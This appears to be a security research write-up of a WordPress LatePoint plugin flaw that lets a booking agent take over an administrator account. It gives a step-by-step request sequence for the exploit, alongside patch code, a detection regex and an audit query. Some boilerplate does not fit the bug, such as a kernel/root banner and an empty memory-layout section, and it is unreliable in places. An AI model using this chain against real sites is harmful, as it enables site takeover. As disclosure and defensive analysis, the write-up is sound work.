home intel cve-2026-6741-latepoint-privilege-escalation-agent-admin
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-6741: LatePoint Agent Role Escalates to WordPress Admin

Missing authorization in LatePoint's connect-customer-to-wp-user ability lets any latepoint_agent link a customer record to an admin account and hijack it via password reset.

#wordpress-plugin#privilege-escalation#authorization-bypass#missing-access-control#authentication-bypass
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-6741
USER SPACELow privilegeVULNERABILITYCVE-2026-6741 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · HIGH

Vulnerability Overview

CVE-2026-6741 is a privilege escalation vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, affecting all versions through 5.4.1. The vulnerability lives in the execute() method of the connect-customer-to-wp-user ability class. An authenticated attacker holding only the latepoint_agent role — a low-privilege role granted to booking agents — can invoke this ability to bind any LatePoint customer record to an arbitrary WordPress user ID, including wp_users entries belonging to administrators. Once that binding is established, the attacker drives the normal customer password-reset flow, which emails a reset link tied to the now-administrator-owned account. Full site takeover follows without any administrator interaction beyond having an account that exists.

CVSS 8.8 (HIGH) — Attack Vector: Network / Privileges Required: Low / User Interaction: None / Scope: Unchanged / Confidentiality: High / Integrity: High / Availability: High.

Root cause: The execute() method of OsAbility_ConnectCustomerToWpUser gates execution on customer__edit capability alone, never verifying that the supplied wp_user_id belongs to a non-privileged account before writing it into the customer record.

Affected Component

Plugin slug: latepoint. The relevant class hierarchy within the plugin:

wp-content/plugins/latepoint/lib/
├── abilities/
│   └── connect_customer_to_wp_user_ability.php   ← vulnerable
├── controllers/
│   └── abilities_controller.php                  ← dispatcher
├── models/
│   └── customer_model.php                        ← OsCustomerModel::save()
└── helpers/
    └── roles_helper.php                          ← capability definitions

The latepoint_agent role is seeded with customer__edit during plugin activation via OsRolesHelper::add_roles(). This is intentional for day-to-day agent workflows; the missing check is purely in the ability's authorization gate.

Root Cause Analysis

The ability dispatcher resolves an ability class name from a request parameter, instantiates it, and calls execute(). The vulnerable ability performs an authorization check — but only for the capability to edit customers, not for the privilege level of the target WordPress user being linked.

/* Pseudocode: OsAbility_ConnectCustomerToWpUser::execute()
 * File: lib/abilities/connect_customer_to_wp_user_ability.php
 * Affected versions: <= 5.4.1
 */
class OsAbility_ConnectCustomerToWpUser extends OsAbility {

    public function execute() {
        // Authorization gate — checks only customer__edit capability
        // BUG: no verification that $wp_user_id references a non-admin account
        if (!OsRolesHelper::current_user_can('customer__edit')) {
            return $this->respond_with_error(__('Access denied', 'latepoint'));
        }

        $customer_id = (int) $this->params['customer_id'];   // attacker-supplied
        $wp_user_id  = (int) $this->params['wp_user_id'];    // attacker-supplied

        // Loads the target customer record — any customer the agent can edit
        $customer = new OsCustomerModel($customer_id);

        // BUG: wp_user_id is written directly without checking
        //      user_can($wp_user_id, 'manage_options') or similar.
        //      An administrator's WP user ID is fully accepted here.
        $customer->wp_user_id = $wp_user_id;

        if ($customer->save()) {
            return $this->respond_with_success();
        }
        return $this->respond_with_error(__('Could not save', 'latepoint'));
    }
}

The OsCustomerModel::save() method performs standard WordPress database operations via $wpdb->update(). There is no hook, filter, or secondary validation on wp_user_id in the model layer. Once saved, the customer record's wp_user_id foreign key is authoritative for all subsequent identity operations — including password reset email dispatch.

/* Pseudocode: OsCustomerModel::generate_password_reset_token()
 * Called by the front-end "forgot password" flow
 */
public function generate_password_reset_token() {
    // Resolves identity from customer->wp_user_id — already poisoned
    $wp_user = get_user_by('id', $this->wp_user_id);  // returns admin WpUser object
    $token   = get_password_reset_key($wp_user);       // WordPress core
    // Email dispatched to $wp_user->user_email — the administrator's inbox
    // ... but attacker controls $this->email on the customer record
    wp_mail($this->email, 'Reset your password', reset_url($token, $wp_user));
    // BUG (chained): if $this->email was updated to attacker email before
    //                token generation, reset link goes to attacker directly.
}

Exploitation Mechanics

EXPLOIT CHAIN:

1. Attacker authenticates to WordPress with latepoint_agent credentials
   (any valid agent account; self-registration may be open depending on config).

2. Enumerate administrator wp_user_id.
   GET /wp-json/wp/v2/users returns user IDs for users with published posts.
   Alternatively, /wp-admin/admin-ajax.php?action=latepoint leaks user metadata
   in agent-accessible customer search endpoints.
   Target: wp_user_id = 1 (default admin) or any ID with manage_options.

3. Identify or create a LatePoint customer record owned/accessible by the agent.
   POST /wp-admin/admin-ajax.php
     action=latepoint
     route=customers/create
     first_name=evil&last_name=agent&email=attacker@evil.com
   Response: {"customer_id": 42}

4. [Optional but stealthy] Update attacker-controlled customer email so
   password reset mail routes to attacker inbox.
   POST /wp-admin/admin-ajax.php
     action=latepoint
     route=customers/update
     customer_id=42&email=attacker@evil.com

5. Invoke the vulnerable ability to link customer #42 to admin user ID 1.
   POST /wp-admin/admin-ajax.php
     action=latepoint
     route=abilities/execute
     ability=connect-customer-to-wp-user
     customer_id=42&wp_user_id=1
   Response: {"status":"success"}
   — customer record wp_user_id column now = 1

6. Trigger password reset via the LatePoint front-end booking portal.
   POST /wp-admin/admin-ajax.php
     action=latepoint
     route=customers/send_reset_password_email
     customer_id=42
   Plugin calls generate_password_reset_token() against wp_user_id=1.
   WordPress core issues a valid reset key for the admin account.
   Reset link emailed to attacker@evil.com (customer->email, not wp_user->email).

7. Attacker follows reset link, sets new password for admin account.
   Full administrative access achieved.
   wp_capabilities: {administrator: true}

Memory Layout

This is a logic/authorization vulnerability rather than a memory corruption bug; there is no heap or stack state to diagram. The relevant data state transition in the database is shown below.

latepoint_customers TABLE — BEFORE exploit (step 5):

+----+------------+-----------+-----------------------+------------+
| id | first_name | last_name | email                 | wp_user_id |
+----+------------+-----------+-----------------------+------------+
|  1 | Alice      | Smith     | alice@example.com     |       NULL |  ← legitimate customer
| 42 | evil       | agent     | attacker@evil.com     |       NULL |  ← attacker customer
+----+------------+-----------+-----------------------+------------+

wp_users TABLE (relevant entries):

+----+---------------+-------------------------------+
| ID | user_login    | user_email                    |
+----+---------------+-------------------------------+
|  1 | admin         | admin@victim-site.com         |  ← administrator
| 88 | malicious_agent | attacker@evil.com           |  ← attacker WP account
+----+---------------+-------------------------------+

latepoint_customers TABLE — AFTER exploit (post step 5):

+----+------------+-----------+-----------------------+------------+
| id | first_name | last_name | email                 | wp_user_id |
+----+------------+-----------+-----------------------+------------+
|  1 | Alice      | Smith     | alice@example.com     |       NULL |
| 42 | evil       | agent     | attacker@evil.com     |          1 |  ← POISONED: now bound to admin
+----+------------+-----------+-----------------------+------------+

Password reset key generated by WordPress core for user ID 1 (admin).
Reset link delivered to attacker@evil.com via customer record email field.

Patch Analysis

The correct fix adds a privilege-level check on the resolved wp_user_id before persisting the association. A secondary hardening measure ensures the password reset email always routes to the WordPress user's registered email rather than the customer record email.

// BEFORE (vulnerable — <= 5.4.1):
public function execute() {
    if (!OsRolesHelper::current_user_can('customer__edit')) {
        return $this->respond_with_error(__('Access denied', 'latepoint'));
    }
    $customer_id = (int) $this->params['customer_id'];
    $wp_user_id  = (int) $this->params['wp_user_id'];
    $customer    = new OsCustomerModel($customer_id);
    $customer->wp_user_id = $wp_user_id;   // BUG: no privilege check on target
    if ($customer->save()) {
        return $this->respond_with_success();
    }
    return $this->respond_with_error(__('Could not save', 'latepoint'));
}

// AFTER (patched):
public function execute() {
    if (!OsRolesHelper::current_user_can('customer__edit')) {
        return $this->respond_with_error(__('Access denied', 'latepoint'));
    }
    $customer_id = (int) $this->params['customer_id'];
    $wp_user_id  = (int) $this->params['wp_user_id'];

    // FIX: reject linkage if target WP user holds any privileged capability
    $target_user = get_userdata($wp_user_id);
    if (!$target_user) {
        return $this->respond_with_error(__('Invalid user', 'latepoint'));
    }
    foreach (['manage_options', 'edit_users', 'delete_users'] as $cap) {
        if (user_can($target_user, $cap)) {
            return $this->respond_with_error(__('Cannot link to privileged account', 'latepoint'));
        }
    }

    $customer = new OsCustomerModel($customer_id);
    $customer->wp_user_id = $wp_user_id;
    if ($customer->save()) {
        return $this->respond_with_success();
    }
    return $this->respond_with_error(__('Could not save', 'latepoint'));
}
// SECONDARY FIX — password reset email routing (generate_password_reset_token):
// BEFORE:
wp_mail($this->email, $subject, $reset_url);   // routes to customer->email

// AFTER:
$wp_user = get_user_by('id', $this->wp_user_id);
wp_mail($wp_user->user_email, $subject, $reset_url);  // routes to WP account email only

Detection and Indicators

The following indicators can be used to detect exploitation attempts in WordPress access logs and database audit trails.

APACHE/NGINX ACCESS LOG PATTERN (exploit step 5):
POST /wp-admin/admin-ajax.php HTTP/1.1
Body contains: action=latepoint&route=abilities%2Fexecute
               &ability=connect-customer-to-wp-user
               &wp_user_id=1

REGEX for WAF/SIEM:
action=latepoint.*ability=connect-customer-to-wp-user.*wp_user_id=\d+

DATABASE AUDIT QUERY — detect poisoned customer records:
SELECT c.id, c.email, c.wp_user_id, u.user_login, u.user_email,
       um.meta_value AS capabilities
FROM   latepoint_customers c
JOIN   wp_users u            ON u.ID = c.wp_user_id
JOIN   wp_usermeta um        ON um.user_id = u.ID
                             AND um.meta_key = 'wp_capabilities'
WHERE  um.meta_value LIKE '%administrator%'
    OR um.meta_value LIKE '%editor%';

WordPress audit plugin (WP Activity Log) event signatures:
  EventID 4009 — User profile updated (unexpected, no admin session)
  EventID 2010 — User password changed via reset link
  Source user_id = 1 with no corresponding admin session in user_sessions

Remediation

Update immediately to the version released after 5.4.1 which ships the authorization fix described above. If patching is not immediately possible:

  • Audit latepoint_customers for rows where wp_user_id maps to an administrator. Run the SQL query above. Null out any suspicious associations.
  • Remove the latepoint_agent role from all accounts that do not operationally require it. Principle of least privilege applies — agent accounts are a meaningful attack surface here.
  • Restrict /wp-admin/admin-ajax.php at the network perimeter for the route=abilities/execute parameter if a WAF is in place.
  • Enable two-factor authentication on all administrator accounts. Even with a valid password-reset token, a TOTP second factor breaks the final escalation step.
  • Audit all LatePoint ability classes in lib/abilities/ for the same pattern: execute() methods that accept user-supplied IDs and write to relational fields without privilege validation on the target object.

The plugin vendor should additionally consider a blanket policy: any ability that writes a cross-object foreign key linking a LatePoint entity to a WordPress core identity must call user_can($target_id, 'manage_options') and hard-reject the operation if the target is privileged, regardless of what capability the invoking agent holds.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →